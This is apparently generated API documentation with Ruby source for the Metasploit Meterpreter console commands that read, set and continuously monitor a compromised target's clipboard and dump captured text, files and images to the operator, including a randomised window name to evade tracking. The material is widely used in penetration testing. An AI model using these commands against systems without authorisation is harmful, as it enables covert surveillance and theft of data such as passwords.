Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Extapi::Clipboard

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb

Constant Summary collapse

Klass =
Console::CommandDispatcher::Extapi::Clipboard
@@get_data_opts =

Options for the clipboard_get_data command.

Rex::Parser::Arguments.new(
  "-h" => [ false, "Help banner" ],
  "-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ]
)
@@set_text_opts =

Options for the clipboard_set_text command.

Rex::Parser::Arguments.new(
  "-h" => [ false, "Help banner" ]
)
@@monitor_start_opts =

Options for the clipboard_monitor_start command.

Rex::Parser::Arguments.new(
  "-h" => [ false, "Help banner" ],
  "-i" => [ true, "Capture image content when monitoring (default: true)" ]
)
@@monitor_purge_opts =

Options for the clipboard_monitor_purge command.

Rex::Parser::Arguments.new(
  "-h" => [ false, "Help banner" ]
)
@@monitor_pause_opts =

Options for the clipboard_monitor_pause command.

Rex::Parser::Arguments.new(
  "-h" => [ false, "Help banner" ]
)
@@monitor_resume_opts =

Options for the clipboard_monitor_resumse command.

Rex::Parser::Arguments.new(
  "-h" => [ false, "Help banner" ]
)
@@monitor_dump_opts =

Options for the clipboard_monitor_dump command.

Rex::Parser::Arguments.new(
  "-h" => [ false, "Help banner" ],
  "-i" => [ true,  "Indicate if captured image data should be downloaded (default: true)" ],
  "-f" => [ true,  "Indicate if captured file data should be downloaded (default: true)" ],
  "-p" => [ true,  "Purge the contents of the monitor once dumped (default: true)" ],
  "-d" => [ true,  "Download non-text content to the specified folder (default: current dir)" ]
)
@@monitor_stop_opts =

Options for the clipboard_monitor_stop command.

Rex::Parser::Arguments.new(
  "-h" => [ false, "Help banner" ],
  "-x" => [ true,  "Indicate if captured clipboard data should be dumped (default: true)" ],
  "-i" => [ true,  "Indicate if captured image data should be downloaded (default: true)" ],
  "-f" => [ true,  "Indicate if captured file data should be downloaded (default: true)" ],
  "-d" => [ true,  "Download non-text content to the specified folder (default: current dir)" ]
)

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #initialize, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #help_to_s, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_filenames, #update_prompt

Instance Method Details

#cmd_clipboard_get_data(*args) ⇒ Object

Get the data from the target’s clipboard



61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 61

def cmd_clipboard_get_data(*args)
  download_content = false
  download_path = nil
  @@get_data_opts.parse(args) { |opt, idx, val|
    case opt
    when "-d"
      download_content = true
      download_path = val
    when "-h"
      print_clipboard_get_data_usage
      return true
    end
  }

  dump = client.extapi.clipboard.get_data(download_content)

  if dump.length == 0
    print_error( "The current Clipboard data format is not supported." )
    return false
  end

  parse_dump(dump, download_content, download_content, download_path)
  return true
end

#cmd_clipboard_monitor_dump(*args) ⇒ Object

Dump the clipboard monitor contents to the local machine.



283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 283

def cmd_clipboard_monitor_dump(*args)
  purge = true
  download_images = true
  download_files = true
  download_path = nil

  @@monitor_dump_opts.parse(args) { |opt, idx, val|
    case opt
    when "-d"
      download_path = val
    when "-i"
      download_images = val.downcase != 'false'
    when "-f"
      download_files = val.downcase != 'false'
    when "-p"
      purge = val.downcase != 'false'
    when "-h"
      print_clipboard_monitor_dump_usage
      return true
    end
  }

  dump = client.extapi.clipboard.monitor_dump({
    :include_images => download_images,
    :purge          => purge
  })

  parse_dump(dump, download_images, download_files, download_path)

  print_good("Clipboard monitor dumped")
end

#cmd_clipboard_monitor_pause(*args) ⇒ Object

Pause the clipboard monitor captured contents



216
217
218
219
220
221
222
223
224
225
226
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 216

def cmd_clipboard_monitor_pause(*args)
  @@monitor_pause_opts.parse(args) { |opt, idx, val|
    case opt
    when "-h"
      print_clipboard_monitor_pause_usage
      return true
    end
  }
  client.extapi.clipboard.monitor_pause
  print_good("Clipboard monitor paused successfully")
end

#cmd_clipboard_monitor_purge(*args) ⇒ Object

Purge the clipboard monitor captured contents



185
186
187
188
189
190
191
192
193
194
195
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 185

def cmd_clipboard_monitor_purge(*args)
  @@monitor_purge_opts.parse(args) { |opt, idx, val|
    case opt
    when "-h"
      print_clipboard_monitor_purge_usage
      return true
    end
  }
  client.extapi.clipboard.monitor_purge
  print_good("Captured clipboard contents purged successfully")
end

#cmd_clipboard_monitor_resume(*args) ⇒ Object

resume the clipboard monitor captured contents



247
248
249
250
251
252
253
254
255
256
257
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 247

def cmd_clipboard_monitor_resume(*args)
  @@monitor_resume_opts.parse(args) { |opt, idx, val|
    case opt
    when "-h"
      print_clipboard_monitor_resume_usage
      return true
    end
  }
  client.extapi.clipboard.monitor_resume
  print_good("Clipboard monitor resumed successfully")
end

#cmd_clipboard_monitor_start(*args) ⇒ Object

Start the clipboard monitor.



141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 141

def cmd_clipboard_monitor_start(*args)
  capture_images = true

  @@monitor_start_opts.parse(args) { |opt, idx, val|
    case opt
    when "-i"
      # default this to true
      capture_images = val.downcase != 'false'
    when "-h"
      print_clipboard_monitor_start_usage
      return true
    end
  }

  client.extapi.clipboard.monitor_start({
    # random class and window name so that it isn't easy
    # to track via a script
    :wincls  => Rex::Text.rand_text_alpha(8),
    :cap_img => capture_images
  })

  print_good("Clipboard monitor started")
end

#cmd_clipboard_monitor_stop(*args) ⇒ Object

Stop the clipboard monitor.



339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 339

def cmd_clipboard_monitor_stop(*args)
  dump_data = true
  download_images = true
  download_files = true
  download_path = nil

  @@monitor_stop_opts.parse(args) { |opt, idx, val|
    case opt
    when "-d"
      download_path = val
    when "-x"
      dump_data = val.downcase != 'false'
    when "-i"
      download_images = val.downcase != 'false'
    when "-f"
      download_files = val.downcase != 'false'
    when "-h"
      print_clipboard_monitor_stop_usage
      return true
    end
  }

  dump = client.extapi.clipboard.monitor_stop({
    :dump           => dump_data,
    :include_images => download_images
  })

  parse_dump(dump, download_images, download_files, download_path) if dump_data

  print_good("Clipboard monitor stopped")
end

#cmd_clipboard_set_text(*args) ⇒ Object

Set the clipboard data to the given text.



102
103
104
105
106
107
108
109
110
111
112
113
114
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 102

def cmd_clipboard_set_text(*args)
  args.unshift "-h" if args.length == 0

  @@set_text_opts.parse(args) { |opt, idx, val|
    case opt
    when "-h"
      print_clipboard_set_text_usage
      return true
    end
  }

return client.extapi.clipboard.set_text(args.join(" "))
end

#commandsObject

List of supported commands.



22
23
24
25
26
27
28
29
30
31
32
33
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 22

def commands
  {
    "clipboard_get_data"       => "Read the target's current clipboard (text, files, images)",
    "clipboard_set_text"       => "Write text to the target's clipboard",
    "clipboard_monitor_start"  => "Start the clipboard monitor",
    "clipboard_monitor_pause"  => "Pause the active clipboard monitor",
    "clipboard_monitor_resume" => "Resume the paused clipboard monitor",
    "clipboard_monitor_dump"   => "Dump all captured clipboard content",
    "clipboard_monitor_purge"  => "Delete all captured cilpboard content without dumping it",
    "clipboard_monitor_stop"   => "Stop the clipboard monitor"
  }
end

#nameObject

Name for this dispatcher



38
39
40
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 38

def name
  "Extapi: Clipboard Management"
end


50
51
52
53
54
55
56
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 50

def print_clipboard_get_data_usage
  print(
    "\nUsage: clipboard_get_data [-h] [-d]\n\n" +
    "Attempts to read the data from the target's clipboard. If the data is in a\n" +
    "supported format, it is read and returned to the user.\n" +
    @@get_data_opts.usage + "\n")
end

Help for the clipboard_monitor_dump command.



273
274
275
276
277
278
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 273

def print_clipboard_monitor_dump_usage
  print(
    "\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" +
    "Dump the capture clipboard contents to the local machine..\n\n" +
    @@monitor_dump_opts.usage + "\n")
end

Help for the clipboard_monitor_pause command.



207
208
209
210
211
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 207

def print_clipboard_monitor_pause_usage
  print("\nUsage: clipboard_monitor_pause [-h]\n\n" +
    "Pause the currently running clipboard monitor thread.\n\n" +
    @@monitor_pause_opts.usage + "\n")
end

Help for the clipboard_monitor_purge command.



175
176
177
178
179
180
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 175

def print_clipboard_monitor_purge_usage
  print("\nUsage: clipboard_monitor_purge [-h]\n\n" +
    "Purge the captured contents from the monitor. This does not stop\n" +
    "the monitor from running, it just removes captured content.\n\n" +
    @@monitor_purge_opts.usage + "\n")
end

Help for the clipboard_monitor_resume command.



238
239
240
241
242
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 238

def print_clipboard_monitor_resume_usage
  print("\nUsage: clipboard_monitor_resume [-h]\n\n" +
    "Resume the currently paused clipboard monitor thread.\n\n" +
    @@monitor_resume_opts.usage + "\n")
end

Help for the clipboard_monitor_start command.



127
128
129
130
131
132
133
134
135
136
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 127

def print_clipboard_monitor_start_usage
  print(
    "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" +
    "Starts a background clipboard monitoring thread. The thread watches\n" +
    "the clipboard on the target, under the context of the current desktop, and when\n" +
    "changes are detected the contents of the clipboard are captured. Contents can be\n" +
    "dumped periodically. Image content can be captured as well (and will be by default)\n" +
    "however this can consume quite a bit of memory.\n\n" +
    @@monitor_start_opts.usage + "\n")
end

Help for the clipboard_monitor_stop command.



329
330
331
332
333
334
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 329

def print_clipboard_monitor_stop_usage
  print(
    "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" +
    "Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" +
    @@monitor_stop_opts.usage + "\n")
end


93
94
95
96
97
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 93

def print_clipboard_set_text_usage
  print(
    "\nUsage: clipboard_set_text [-h] <text>\n\n" +
    "Set the target's clipboard to the given text value.\n\n")
end